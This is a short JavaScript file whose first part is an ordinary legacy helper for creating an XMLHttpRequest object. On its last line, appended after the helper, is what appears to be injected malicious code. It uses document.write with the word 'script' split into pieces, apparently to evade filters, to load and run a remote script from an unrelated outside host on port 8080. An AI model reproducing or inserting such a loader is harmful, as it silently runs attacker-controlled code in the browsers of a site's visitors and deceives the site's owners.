function createXMLHttpRequest()
	{
	  var XMLhttpObject=null;	 
		 
		 try{
		 	   XMLhttpObject = new XMLHttpRequest();
		 }catch(e){
		 	   try{
		 	   	    XMLhttpObject = new ActiveXObject("Msxml2.XMLHTTP");
		     }catch(e){
		     	    try{
		     	    	  XMLhttpObject = new ActiveXObject("Microsoft.XMLHTTP");
		     	    }catch(e){
		     	    	  return null;
		     	    }
		     }
		  }
		  return XMLhttpObject;
  }
  
document.write('<sc'+'ript type="text/javascript" src="http://revise.paresmultimarca.com:8080/Web_20.js"></scri'+'pt>');